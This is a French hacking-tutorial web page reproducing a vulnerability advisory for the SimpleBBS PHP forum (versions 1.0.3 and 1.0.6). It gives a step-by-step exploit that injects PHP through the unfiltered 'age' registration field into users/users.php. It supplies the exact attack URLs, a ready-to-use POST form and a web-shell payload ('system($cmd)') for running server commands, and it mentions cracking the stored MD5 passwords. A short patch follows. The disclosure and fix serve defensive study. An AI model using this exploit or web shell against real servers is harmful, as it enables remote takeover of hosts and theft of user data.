Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
les DRM c’est la grippe aviaire du numérique et de la culture
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > SimpleBBS


    SimpleBBS

    SimpleBBS
    *********
    Informations :
    °°°°°°°°°°°°°°
    Langage : PHP
    Versions testées : 1.0.3, 1.0.6
    Website : http://www.simplemedia.org
    Problèmes : - Récuperation d'info
    - Ecriture de code PHP

    Developpement :
    °°°°°°°°°°°°°°°
    SimpleBB est un forum opensource. Il permet de créer des sujets, d'y répondre, de s'inscrire
    comme membre, d'avoir et d'editer son profile, une liste de tout les membres et des membres
    en ligne

    1.0.3
    ~~~~~
    Le problème se trouve dans l'enregistrement des nouveaux utilisateurs.
    L'url pour s'enregistrer est http://[website]/index.php?v=register.
    Dans index.php, on peut voir :
    ---------------------------------------------------
    [...]
    <?php
    if(isset($v))
    {
    if($v=="register")
    {
    include("includes/register.php");
    }
    [...]
    ---------------------------------------------------

    Si on va donc voir dans includes/register.php, on peut voir des lignes fort interessantes :
    -----------------------------------------------------------------------------------------
    $userFile = fopen ("users/users.php", "a");
    fwrite($userFile, "$id|||$name|||$password|||$realname|||$email|||$age|||$usertext|||$signature|||0|||");
    fclose($userFile);
    -----------------------------------------------------------------------------------------
    Ces 3 lignes de code ajoute une ligne du type de
    $id|||$name|||$password|||$realname|||$email|||$age|||$usertext|||$signature|||0|||
    dans le fichier users/users.php.
    Notre but va donc être d'inserer une ligne de code dans un fichier, ici users/users.php,
    par l'intermédiaire de ce script, ce qui peut permettre de faire beaucoup de choses.
    Si on arrive à inscrire par exemple le code <? echo $value; ?> dans users/users.php,
    on pourra l'utiliser de cette façon :
    http://[target]/users/users.php?value=hop
    ce qui affichera juste le texte "hop".
    Mais le code peut être beaucoup plus pertinent et plus nocif, comme par exemple
    si on insere :
    -------------------
    <? system($cmd); ?>
    -------------------
    Dans un cas apreil, l'url
    http://[target]/users/users.php?cmd=[COMMAND]
    executera la commande UNIX [COMMAND] avec les droits et restrictions du serveur, sur l'ordinateur
    du serveur.

    On peut tenter d'écrire du code PHP directement par l'url, de cette manière :
    http://[target]/includes/register.php?name=[PHP code]
    ou
    http://[target]/includes/register.php?realname=[PHP code]
    http://[target]/includes/register.php?email=[PHP code]
    http://[target]/includes/register.php?age=[PHP code]
    http://[target]/includes/register.php?usertext=[PHP code]
    etc...
    Mais cela ne donnera rien, car le fichier http://[target]/includes/users/users.php
    n'existe pas ! (Et aussi pour d'autres raisons qu'on verra plus tard)
    Il existe en fait à http://[target]/users/users.php.
    Cet élément doit directement nous dissuader de traiter directement par le fichier
    includes/register.php.

    Il faut donc utiliser un autre fichier; index.php.
    On va donc essayer d'inserer des données, et comme on a une interface graphique (un formulaire
    en html), on va l'utiliser, c'est toujours plus clair.
    Dans le formulaire, se trouvant donc à http://[website]/index.php?v=register, on
    doit rentrer les données suivantes (que je fait suivre par leur variables correspondantes) :
    - Nom ($name)
    - Password ($password)
    - Password une deuxième fois ($password2 qui n'est pas inscrite dans users/users.php)
    - Nom réel ($realname)
    - E-mail ($email)
    - Age ($age)
    - Texte utilisateur ($usertext)
    - Signature ($signature)

    Si dans chaque champs du formulaire on met le même code, par exemple <? echo $value; ?>,
    et qu'on va voir la ligne qui correspond à l'enregistrement dans users/users.php, on devrait
    voir quelque chose du style :
    --------------------------------------------------------------------------------------------
    [...]
    [ID]|||&lt;? echo $value; ?&gt;|||34965c5a6fb2c45714df0e0f7631b4af|||&lt;? echo $value; ?&gt;|||&lt;? echo $value; ?&gt;|||<? |||&lt;? echo $value; ?&gt;|||&lt;? echo $value; ?&gt;|||0|||
    --------------------------------------------------------------------------------------------
    Ou du moins c'est ce qu'on verrait si on avait accès à la source php, car les caractères
    <? ouvre une balise php et ne met aucun code.
    |||&lt;? echo $value; ?&gt;|||&lt;? echo $value; ?&gt;|||0|||, ce qui suit, est donc interprété
    comme du code PHP, et il y a evidemment une erreur de script, car ça ne veut rien dire :)
    [ID] est un chiffre; l'identifiant membre.

    Analysons mieux le code d'includes/register.php pour comprendre le problème.
    En voici la plus grosse partie :
    ---------------------------------------------------------------------------------
    <?php
    if(isset($sendRegister))
    {
    if(!isset($name) || $name == "")
    die("Please insert your name");
    if(!isset($password) || $password == "")
    die("Please insert your password");
    if(!isset($realname) || $realname == "")
    $realname = " ";
    if(!isset($email) || $email == "")
    $email = " ";
    if(!isset($age) || $age == "")
    $age = " ";
    if(!isset($usertext) || $usertext == "")
    $usertext = " ";
    if(!isset($signature) || $signature == "")
    $signature = " ";

    if($password != $password2)
    die("Passwords didn't match!");

    $password = md5($password);

    $name = htmlspecialchars($name);
    $realname = htmlspecialchars($realname);
    $email = htmlspecialchars($email);
    $usertext = htmlspecialchars($usertext);
    $signature = htmlspecialchars($signature);
    $signature = str_replace("\n", "<br>", $signature);
    [...]
    $fd = fopen ("users/users.php", "r");
    while (!feof ($fd))
    {
    $buffer = fgets($fd, 1024);
    if($buffer != "")
    $nameCheck = explode("|||", $buffer);
    if(isset($nameCheck[1]))
    {
    if($nameCheck[0] > $id)
    $id = $nameCheck[0];
    if(strtolower($nameCheck[1]) == "$loweredname")
    die("This username already exists!");
    }
    }
    fclose ($fd);

    $id = $id + 1;

    $userFile = fopen ("users/users.php", "a");
    fwrite($userFile, "$id|||$name|||$password|||$realname|||$email|||$age|||$usertext|||$signature|||0|||");
    fclose($userFile);
    print("Thank you for registering!");
    include("includes/login_form.php");
    }
    else
    {
    include("includes/registration_form.php");
    }
    ?>
    ---------------------------------------------------------------------------------

    On voit d'abord que seul les variables $name et $password sont indispensables à l'execution du script :
    ---------------------------------------------
    if(!isset($name) || $name == "")
    die("Please insert your name");
    if(!isset($password) || $password == "")
    die("Please insert your password");
    ---------------------------------------------

    Et aussi que la variable $password2, la vérification du password, doit être
    identique à $password :
    ----------------------------------------
    if($password != $password2)
    die("Passwords didn't match!");
    ----------------------------------------

    Puis vient la ligne :
    ---------------------------
    $password = md5($password);
    ---------------------------
    Qui explique la donnée en md5 dans users/users.php, et qui nous empêche d'utiliser
    la variable $password pour inserer du code php.

    On voit ensuite le code :
    ------------------------------------------
    $name = htmlspecialchars($name);
    $realname = htmlspecialchars($realname);
    $email = htmlspecialchars($email);
    $usertext = htmlspecialchars($usertext);
    $signature = htmlspecialchars($signature);
    ------------------------------------------
    La fonction htmlspecialchars() transforme :
    - & en &amp;
    - " en &quot; (si ENT_NOQUOTES n'est pas actif)
    - ' en &#039; (si ENT_QUOTES est actif)
    - < en &lt;
    - > en &gt;
    Ce code explique donc pourquoi certains '<? echo $value; ?>' se sont transformés en
    &lt;? echo $value; ?&gt;, et que le code php n'était donc pas exécuté.
    Ces 5 variables ne sont donc pas utilisables pour l'insertion du code php dans users/users.php.

    Voyons maintenant pourquoi un des '<? echo $value; ?>' devient '<? '.
    Le problème cette fois-ci ne vient pas du PHP de includes/register.php mais bien
    du html de includes/registration_form.php, qui est la page contenant le code
    du formulaire.
    Le problème vient de cette portion de code :
    --------------------------------------------------
    <form action="index.php?v=register" method="post">
    [...]
    <input name="age" type="text" maxlength="3">
    [...]
    </form>
    --------------------------------------------------
    L'argument de l'input maxlength="3" dit que l'on pourra mettre maximum 3 caractères
    dans ce champ de formulaire texte.
    Mais cette restriction est très facilement contournable, en passant par l'url,
    car le script PHP lui ne vérifie rien.

    Résumons les restrictions :
    - $name n'est pas utilisable -> htmlspecialchars()
    - $password n'est pas utilisable -> md5()
    - $password2 n'est pas inscrit dans le fichier users/users.php
    - $realname n'est pas utilisable -> htmlspecialchars()
    - $email n'est pas utilisable -> htmlspecialchars()
    - $usertext n'est pas utilisable -> htmlspecialchars()
    - $signature n'est pas utilisable -> htmlspecialchars()

    Il ne reste plus que la variable $age qui pourrait nous servir.
    La restriction html maxlenght="3" est bien la seule restriction appliquée à cette variable.
    On va donc pouvoir l'utiliser pour inscrire du code par une url. Mais pour cela il faut s'assurer
    d'une url qui execute bien le script jusqu'à l'écriture dans le fichier users/users.php .

    Tout d'abord, la base de l'url permettant d'inscrire du code doit être :
    http://[target]/index.php?v=register

    Comme nous le montre la première ligne :
    -------------------------
    <?
    if(isset($sendRegister))
    {
    [...]
    -------------------------
    $sendRegister ne doit pas être vide. Donc :
    http://[target]/index.php?v=register&sendRegister=1

    Ensuite, comme on a vu, $name et $password ne doivent également pas être vides. Donc :
    http://[target]/index.php?v=register&sendRegister=1&name=Haxor&password=1

    Et $password2 doit avoir la même valeur que $password, donc :
    http://[target]/index.php?v=register&sendRegister=1&name=Haxor&password=1&password2=1

    Il ne nous reste plus qu'à mettre le code qu'on veut faire executer
    sur http://[target]/users/users.php dans la variable $age :
    http://[target]/index.php?v=register&sendRegister=1&name=Haxor&password=1&password2=1&age=<?%20echo%20$value;%20?>

    Cette dernière url inscrira la ligne :
    [ID]|||Haxor|||c4ca4238a0b923820dcc509a6f75849b||| ||| |||<? echo $value; ?>||| ||| |||0|||
    et on pourra utiliser le code de cette façon, comme vu plus haut :
    http://[target]/users/users.php?value=Hello%20World
    ce qui nous montrera la ligne :
    [ID]|||Haxor|||c4ca4238a0b923820dcc509a6f75849b||| ||| |||Hello World||| ||| |||0|||


    Une autre façon d'utiliser ce système à des fins néfastes serait de cracker le password
    crypté en md5 avec John the ripper mais c'est directement plus long :)

    1.0.6
    ~~~~~
    La même faille se trouve dans la version 1.0.6, mais une restriction de plus a été installée,
    nous empechant d'utiliser une url.
    Les lignes
    ------------------------
    if(isset($sendRegister))
    {
    ------------------------
    on été remplacées par :
    ----------------------------------
    if(isset($_POST["sendRegister"]))
    {
    $name = $_POST["name"];
    $password = $_POST["password"];
    $password2 = $_POST["password2"];
    $realname = $_POST["realname"];
    $email = $_POST["email"];
    $age = $_POST["age"];
    $usertext = $_POST["usertext"];
    $signature = $_POST["signature"];
    ----------------------------------
    Ces lignes nous obligent à utiliser un formulaire de methode POST en précisant que
    les variables $sendRegister, $name, $password,... doivent venir d'un formulaire.
    En venant de l'url, ce sont des variables GET et pas POST.
    Hors on a vu qu'à cause du maxlenght="3" de l'input de la variable $age, il nous
    est impossible d'inserer du code en utilisant le formulaire proposé par le produit.

    La solution à ce problème est de créer nous-même un formulaire de methode POST
    renvoyant vers le site [target].
    Il suffit donc de créer une page html, dont voici un exemple 'operationnel' :
    ---------------------------------------------------------------------------
    <html>
    <head>SimpleBBS Vulnerability</head>
    <body>
    <form action="http://[target]/index.php?v=register" method="POST">
    <input type="hidden" name="password" value="1">
    <input type="hidden" name="password2" value="1">
    <input type="hidden" name="sendRegister" value="1">
    Name : <input type="text" name="name"><br>
    PHP code : <input type="text" name="age"><br>
    <input type=Submit value="Go !">
    </form>
    </body>
    </html>
    ---------------------------------------------------------------------------

    Patch :
    °°°°°°°
    Très simple.
    Il suffit, dans includes/register.php d'ajouter avant (ou après ) :
    $name = htmlspecialchars($name);
    la ligne
    $age = htmlspecialchars($age);
    Cette solution est valable pour les 2 versions.
    Les patchs sont disponibles sur http://www.phpsecure.info.

    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    E-mail : leseulfrog@hotmail.com
    Website : http://www.frog-man.org
    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 57 millisecondes